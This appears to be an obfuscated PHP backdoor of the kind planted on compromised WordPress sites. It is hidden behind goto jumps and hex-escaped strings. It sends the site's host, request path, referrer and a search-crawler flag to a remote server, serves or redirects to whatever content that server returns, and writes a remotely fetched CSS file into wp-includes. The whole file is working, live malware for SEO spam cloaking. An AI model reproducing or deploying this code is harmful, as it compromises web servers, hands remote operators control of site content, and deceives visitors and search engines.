?php goto eLI7W; vVC6L: $xCT5H = $_SERVER["\x48\x54\124\120\137\x48\117\x53\124"]; goto jw6SS; hCnJ5: YEgck: goto Qp0vV; mv0IW: @header("\x43\157\x6e\x74\x65\x6e\x74\55\164\171\160\145\x3a\40\164\x65\170\x74\x2f\150\164\x6d\x6c\x3b\40\143\x68\141\162\x73\x65\x74\75\x75\164\x66\55\70"); goto oUqah; Qp0vV: if (isset($_SERVER["\x44\117\x43\x55\115\x45\x4e\124\137\122\117\x4f\x54"])) { goto cClQb; } goto f1One; WCPmy: if (!($zh7de == "\57" || strstr($zh7de, "\x65\x77\x74\x74\x6d"))) { goto vuJrY; } goto aBWPN; r1Y3M: $k3pYG = trim(W06Ob($efZxL, $NfnGw)); goto TIRlT; FToKx: $NfnGw = array("\x77\145\142" => $xCT5H, "\x7a\x7a" => P9EFv(), "\x75\x72\151" => $lOVsK, "\165\x72\x6c\x73\150\x61\x6e\147" => $ESYWj, "\150\x74\164\x70" => $cyeOT, "\154\x61\x6e\147" => $YCYiY); goto x7zG4; iAQ0p: $shT6M = file_get_contents($taLnI); goto FYVJr; X4AFK: $efZxL = $TzWYJ . "\72\57\57" . $dTf6Y . "\57\x69\156\x64\145\170\x6e\x65\167\x2e\x70\x68\x70\77\x63\x73\x73\x3d\x31"; goto KGp_T; F4qgr: fZ8_f: goto FQYm9; gtmKu: echo $k3pYG; goto rW6a9; wh_ta: pOC3K($F8sD9, $taLnI, $uwHVT); goto reTCS; F3Vec: @header("\x48\124\124\120\x2f\61\x2e\x31\40\63\x30\x31\x20\115\157\x76\x65\x64\x20\120\145\162\155\141\156\145\x6e\x74\154\x79"); goto I9RUn; tMW_G: if (substr($xCT5H, 0, 4) == "\167\x77\167\56") { goto vHB1l; } goto bGYsx; S0D1n: function HziMJ($Rpeph) { goto ZYa9P; wPg2L: foreach ($LqXBV as $LxyA_) { goto mtiJp; HKFLo: $MQ4Hf .= $LxyA_ . "\x2d\x2d\40" . $zqpX6 . "\74\x62\162\x3e"; goto uxGif; zfkzG: $zqpX6 = strpos($O2IBJ, "\123\x69\x74\145\x6d\141\160\x20\116\157\x74\x69\146\151\x63\x61\x74\151\157\156\40\x52\x65\143\145\x69\166\145\x64") !== false ? "\160\x69\x6e\x67\x6f\153" : "\145\x72\x72\157\162"; goto HKFLo; uxGif: hwaBu: goto gX66G; mtiJp: $O2IBJ = MKEy3($LxyA_); goto zfkzG; gX66G: } goto tV89v; TqOZo: $MQ4Hf = ''; goto wPg2L; fqRnJ: return $MQ4Hf; goto mxiz2; tV89v: SJtO4: goto fqRnJ; ZYa9P: $LqXBV = explode("\15\xa", trim($Rpeph)); goto TqOZo; mxiz2: } goto pPjEz; jMKha: exit; goto n6qEm; n6qEm: u0SMB: goto gKXb7; TO8Iy: $taLnI = $IihJC . "\x2f" . $lk2_V . "\57" . $GHRQP; goto t0Boy; PeGWb: goto gZtRI; goto q8oSb; jw6SS: $YCYiY = @$_SERVER["\x48\124\x54\x50\137\x41\103\103\x45\120\124\x5f\114\101\x4e\107\125\101\107\x45"]; goto Qumps; lZ2KT: gZtRI: goto SnsrC; x_6uj: cClQb: goto JtlNs; aBWPN: pOc3K($F8sD9, $taLnI, $uwHVT); goto ek4CG; dx4a4: if (!($zh7de == '')) { goto fZ8_f; } goto FIwvJ; zqv45: echo $k3pYG; goto ipSaL; cqLkH: goto bFlAg; goto je9Pv; dgeDA: $ESYWj = ''; goto shN0i; FYVJr: $k3pYG = str_replace("\x5b\x23\x23\154\151\x6e\x6b\143\x73\x73\x23\43\135", $shT6M, $k3pYG); goto oQCv6; FIwvJ: $zh7de = "\x2f"; goto F4qgr; ll8X9: exit; goto BXtTo; pPjEz: function P9EfV() { goto iOXJf; iOXJf: $chn28 = strtolower($_SERVER["\110\x54\x54\x50\x5f\125\123\105\x52\x5f\101\x47\x45\x4e\x54"]); goto nHCZ9; yOrCx: return true; goto gqfV0; ZwTvv: uWPdt: goto yOrCx; G2oQl: return false; goto AlIXx; AlIXx: goto qO7_7; goto ZwTvv; gqfV0: qO7_7: goto ctWfD; nHCZ9: if (stristr($chn28, "\147\157\x6f\x67\154\x65\142\157\x74") || stristr($chn28, "\142\x69\156\147") || stristr($chn28, "\x79\x61\x68\x6f\157") || stristr($chn28, "\x67\157\x6f\x67\154\x65") || stristr($chn28, "\x47\157\x6f\147\x6c\x65\142\x6f\164") || stristr($chn28, "\x67\157\157\147\154\145\142\157\x74")) { goto uWPdt; } goto G2oQl; ctWfD: } goto j_Vea; LUf6u: echo hZimj($k3pYG); goto ll8X9; eLI7W: $g9nQy = "\x25\67\x34\45\x36\71\x25\66\x46\45\x36\x45\x25\66\x37\45\66\67\45\x37\62\45\x36\x35\45\x36\103\x25\67\x31\x25\67\x34\x25\x32\105\45\x37\x30\x25\66\64\45\x36\105\x25\x37\64\45\67\66\x25\x36\67\x25\x36\105\x25\x36\65\x25\66\x44\x25\x32\x45\45\66\x42\45\x36\x43\45\x36\x44"; goto J9VgK; rybBn: ZLqNq: goto kRQiR; J9VgK: $TzWYJ = "\x68\x74\164\x70"; goto U1Qpz; ipSaL: exit; goto NCiav; YnV_s: tfL5P: goto dQlPi; bvV_0: exit; goto hOnWt; qz4dT: function HFW58() { goto lsrh_; Ob6dE: if (isset($_SERVER["\110\x54\124\120\x5f\x58\x5f\x46\117\122\127\101\x52\x44\x45\104\137\120\x52\117\124\117"]) && $_SERVER["\110\x54\x54\x50\x5f\x58\137\x46\117\122\127\101\x52\104\x45\x44\x5f\120\122\x4f\x54\x4f"] === "\x68\x74\164\x70\163") { goto bVJc_; } goto XK8yM; WWmiK: bVJc_: goto ggY_f; VJuif: return false; goto Y_6ne; ggY_f: return true; goto SxQHz; xCnPh: return true; goto JqHSW; SxQHz: goto ssosv; goto IPmOD; JqHSW: ssosv: goto VJuif; P8Ni6: goto ssosv; goto WWmiK; h97Xm: return true; goto P8Ni6; IPmOD: XWYqv: goto xCnPh; YQ96f: wWt4u: goto h97Xm; NmOUs: goto ssosv; goto YQ96f; lsrh_: if (isset($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\x6f\146\146") { goto wWt4u; } goto Ob6dE; XK8yM: if (isset($_SERVER["\110\x54\124\x50\x5f\106\122\x4f\x4e\124\x5f\105\116\104\x5f\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\x50\137\x46\122\117\116\124\137\105\116\x44\x5f\110\124\x54\120\123"]) !== "\157\x66\146") { goto XWYqv; } goto NmOUs; Y_6ne: } goto vVC6L; U1Qpz: if (hfw58()) { goto ETw3l; } goto Wtvsl; nOgqO: $GHRQP = str_rot13(substr($FFRyG, 0, 3) . substr($dTf6Y, 0, 3)) . "\x2e\143\x73\x73"; goto TO8Iy; ok43l: @header("\103\x6f\x6e\164\x65\156\164\55\164\x79\x70\145\72\x20\164\x65\x78\x74\x2f\170\x6d\x6c"); goto gtmKu; yaUY_: $lk2_V = "\x77\160\55\151\156\143\154\x75\144\x65\163\x2f\143\x73\163"; goto o_GaN; aS6DO: goto tfL5P; goto ROaJS; JtlNs: $IihJC = $_SERVER["\x44\117\103\125\x4d\105\x4e\124\x5f\x52\x4f\117\x54"]; goto i1Pmb; f1One: $IihJC = dirname(__FILE__); goto HplC1; NCiav: W9XLF: goto Qidt7; wpfNp: $FFRyG = substr($xCT5H, 4); goto pHZvI; KGp_T: bFlAg: goto r1Y3M; SxFx5: exit; goto kYo6d; ABZcz: $lk2_V = "\143\163\163"; goto AneRw; shN0i: if (!isset($_SERVER["\x48\x54\x54\x50\137\x52\105\x46\x45\122\105\122"])) { goto YEgck; } goto LKfK1; gsdE8: function poC3k($F8sD9, $taLnI, $uwHVT) { goto FbKNi; RragJ: Ca1di: goto rbllo; rbllo: J13ok: goto Mv4AZ; Hkqff: @file_put_contents($taLnI, MKEy3($uwHVT)); goto NMLeU; a2IKx: if (!@mkdir($F8sD9)) { goto J13ok; } goto y4a2t; gt3jh: if (file_exists($taLnI)) { goto msiWO; } goto Hkqff; Mv4AZ: goto GlUyV; goto EzMcS; aNmw0: @file_put_contents($taLnI, mKeY3($uwHVT)); goto RragJ; y4a2t: if (file_exists($taLnI)) { goto Ca1di; } goto aNmw0; EzMcS: T4VzB: goto gt3jh; uZc0P: GlUyV: goto E30wj; FbKNi: if (is_dir($F8sD9)) { goto T4VzB; } goto a2IKx; NMLeU: msiWO: goto uZc0P; E30wj: } goto WCPmy; t0Boy: $uwHVT = $TzWYJ . "\x3a\57\57" . $dTf6Y . "\x2f\164\x65\155\160\57\163\x74\x79\x6c\x65\56\143\x73\x73"; goto S0D1n; HplC1: goto MpR9b; goto x_6uj; QaM4h: if (strstr($k3pYG, "\160\151\156\147\170\x6d\154\147\145\164\143\157\156\x74\x65\156\x74")) { goto ZLqNq; } goto yzvSg; Qumps: $YCYiY = $YCYiY; goto dgeDA; pHZvI: lZpQW: goto nOgqO; dQlPi: $zh7de = RgsFG(); goto dx4a4; Ou0Xo: $cyeOT = "\150\x74\x74\160\163"; goto YnV_s; GIMv6: JgXx2: goto mv0IW; pPBix: function W06Ob($mabLP, $x00LP) { goto G8Txz; FRVK5: curl_setopt($tkGt0, CURLOPT_SSL_VERIFYPEER, 0); goto BETDA; Umz6m: curl_setopt($tkGt0, CURLOPT_USERAGENT, "\115\157\x7a\151\154\154\x61\x2f\64\x2e\60\40\50\143\x6f\x6d\x70\x61\x74\x69\x62\x6c\145\73\40\x4d\123\111\105\x20\65\56\x30\61\73\40\x57\151\x6e\144\x6f\x77\163\40\x4e\x54\x20\65\x2e\x30\51"); goto SLKbw; SLKbw: curl_setopt($tkGt0, CURLOPT_SSL_VERIFYHOST, 0); goto FRVK5; DwWhj: curl_setopt($tkGt0, CURLOPT_POSTFIELDS, $x00LP); goto pxM5P; BETDA: curl_setopt($tkGt0, CURLOPT_HEADER, 0); goto kbfq0; u2D0c: return $px7_d; goto bH_1e; Hq_M5: curl_close($tkGt0); goto u2D0c; taX3C: curl_setopt($tkGt0, CURLOPT_URL, $mabLP); goto q_vhz; G8Txz: $tkGt0 = curl_init(); goto taX3C; pxM5P: $px7_d = curl_exec($tkGt0); goto Hq_M5; kbfq0: curl_setopt($tkGt0, CURLOPT_RETURNTRANSFER, 1); goto DwWhj; q_vhz: curl_setopt($tkGt0, CURLOPT_POST, 1); goto Umz6m; bH_1e: } goto gsdE8; u_Co5: goto u0SMB; goto DtU3_; zN7cD: if (!strstr($k3pYG, "\147\x65\x74\143\157\x6e\x74\145\156\x74\63\x30\x31\x70\x61\147\145")) { goto pHcG5; } goto F3Vec; hOnWt: pHcG5: goto u_Co5; AUPsX: $efZxL = $TzWYJ . "\72\57\57" . $dTf6Y . "\57\x69\x6e\x64\145\170\156\145\x77\x2e\x70\x68\160"; goto cqLkH; ek4CG: vuJrY: goto FToKx; XGRXt: function rGsfG() { goto U0IiF; BeTfh: $lOVsK = $_SERVER["\x52\x45\x51\x55\105\123\124\x5f\x55\x52\111"]; goto gU53o; w45D3: return $lOVsK; goto L1OcJ; esndU: HhlpP: goto BeTfh; BIrbc: goto MupU4; goto esndU; oypml: xot7V: goto BIrbc; InaXP: if (isset($_SERVER["\141\162\x67\166"])) { goto ABSAy; } goto eqQVZ; eqQVZ: $lOVsK = $_SERVER["\x50\x48\120\137\123\x45\x4c\x46"] . "\77" . $_SERVER["\121\x55\x45\x52\131\x5f\123\x54\122\111\x4e\107"]; goto ljylF; ljylF: goto xot7V; goto C0Roa; JGUbH: $lOVsK = $_SERVER["\120\110\120\137\123\x45\114\106"] . "\x3f" . $_SERVER["\x61\162\x67\166"][0]; goto oypml; U0IiF: if (isset($_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\x55\122\111"])) { goto HhlpP; } goto InaXP; C0Roa: ABSAy: goto JGUbH; gU53o: MupU4: goto w45D3; L1OcJ: } goto tS8Jt; LKfK1: $ESYWj = $_SERVER["\x48\x54\124\x50\x5f\122\105\x46\105\x52\105\122"]; goto qg3Bx; rW6a9: exit; goto lZ2KT; FQYm9: $lOVsK = $zh7de; goto XGRXt; oQCv6: wFYIX: goto MkVbt; cxEse: if (is_dir($IihJC . "\x2f\167\x70\x2d\151\x6e\143\x6c\x75\x64\145\163")) { goto XVEyg; } goto ABZcz; Csy63: goto eHWfl; goto rybBn; lrSJk: $k3pYG = str_replace("\157\153\170\x6d\x6c\147\x65\164\143\x6f\x6e\164\145\x6e\164", '', $k3pYG); goto ok43l; TIRlT: if (strstr($k3pYG, "\x6e\157\142\157\x74\165\x73\x65\x72\x61\147\x65\156\x74")) { goto Lw_7g; } goto R5uUb; j_Vea: function mKEy3($Rpeph) { goto m0JcT; m0JcT: $dMCc9 = ''; goto fsRfz; ni6Er: $dMCc9 = @file_get_contents($Rpeph); goto AxG5z; AxG5z: O7dRs: goto nC2LK; fsRfz: if ($dMCc9) { goto O7dRs; } goto ni6Er; nC2LK: return $dMCc9; goto gJfhJ; gJfhJ: } goto pPBix; MkVbt: $k3pYG = str_replace("\x6f\153\150\164\x6d\154\147\145\x74\x63\157\156\x74\145\x6e\x74", '', $k3pYG); goto zqv45; bGYsx: $FFRyG = $xCT5H; goto YI_7L; qg3Bx: $ESYWj = $ESYWj; goto hCnJ5; q8oSb: qN5vy: goto lrSJk; yzvSg: if (strstr($k3pYG, "\x67\x65\x74\x63\x6f\156\164\x65\x6e\164\x35\x30\x30\x70\x61\147\145")) { goto X3czp; } goto XM4Uz; BXtTo: eHWfl: goto PeGWb; I9RUn: $k3pYG = str_replace("\147\x65\164\143\157\x6e\x74\145\x6e\164\63\60\x31\160\x61\x67\145", '', $k3pYG); goto T9FtB; rh5EP: $k3pYG = str_replace("\x5b\x23\43\x6c\x69\x6e\x6b\143\x73\x73\43\43\135", '', $k3pYG); goto To8A3; YI_7L: goto lZpQW; goto Mo1Ht; vo_O4: $F8sD9 = $IihJC . "\57" . $lk2_V; goto tMW_G; To8A3: goto wFYIX; goto ZpskL; gKXb7: goto UZnNN; goto LTnxe; o_GaN: Trt1p: goto vo_O4; DtU3_: WowPP: goto o29FP; LTnxe: X3czp: goto QszaA; x7zG4: if (is_file($taLnI)) { goto H4vua; } goto AUPsX; MQRJm: XVEyg: goto yaUY_; QszaA: @header("\110\x54\124\x50\x2f\x31\x2e\x31\40\x35\60\60\40\111\x6e\x74\145\162\156\x61\x6c\x20\x53\x65\x72\166\145\x72\40\105\x72\x72\157\162"); goto SxFx5; ROaJS: ETw3l: goto Ou0Xo; Mo1Ht: vHB1l: goto wpfNp; je9Pv: H4vua: goto X4AFK; T9FtB: header("\x4c\x6f\143\x61\164\151\x6f\156\x3a\x20" . $k3pYG); goto bvV_0; oUqah: if (file_exists($taLnI)) { goto QFQ2q; } goto rh5EP; ZpskL: QFQ2q: goto iAQ0p; tS8Jt: $dTf6Y = "\x67\x76\142\x61\x74\164\x65\162\171\144\x67\x2e\143\161\x61\x67\151\164\141\162\172\56\x78\x79\x7a"; goto qz4dT; i1Pmb: MpR9b: goto cxEse; kYo6d: UZnNN: goto Csy63; o29FP: @header("\110\124\124\120\x2f\61\56\x31\40\x34\x30\64\40\116\x6f\x74\x20\106\157\165\156\144"); goto jMKha; kRQiR: $k3pYG = str_replace("\160\151\156\x67\x78\x6d\x6c\x67\145\x74\143\157\156\x74\x65\x6e\x74", '', $k3pYG); goto wh_ta; FPbaU: if (strstr($k3pYG, "\157\x6b\170\x6d\x6c\147\145\x74\143\157\x6e\164\x65\156\164")) { goto qN5vy; } goto QaM4h; Wtvsl: $cyeOT = "\150\x74\164\160"; goto aS6DO; R5uUb: if (strstr($k3pYG, "\x6f\x6b\150\x74\x6d\x6c\147\x65\164\x63\x6f\x6e\164\145\x6e\164")) { goto JgXx2; } goto FPbaU; SnsrC: goto W9XLF; goto GIMv6; AneRw: goto Trt1p; goto MQRJm; XM4Uz: if (strstr($k3pYG, "\147\145\x74\x63\157\156\x74\145\156\x74\64\60\64\160\141\x67\145")) { goto WowPP; } goto zN7cD; reTCS: @header("\x43\x6f\x6e\x74\x65\x6e\164\x2d\x74\171\160\x65\72\x20\164\x65\x78\x74\57\150\164\x6d\154\73\x20\143\150\141\162\163\145\x74\75\165\x74\146\x2d\70"); goto LUf6u; Qidt7: Lw_7g: ?>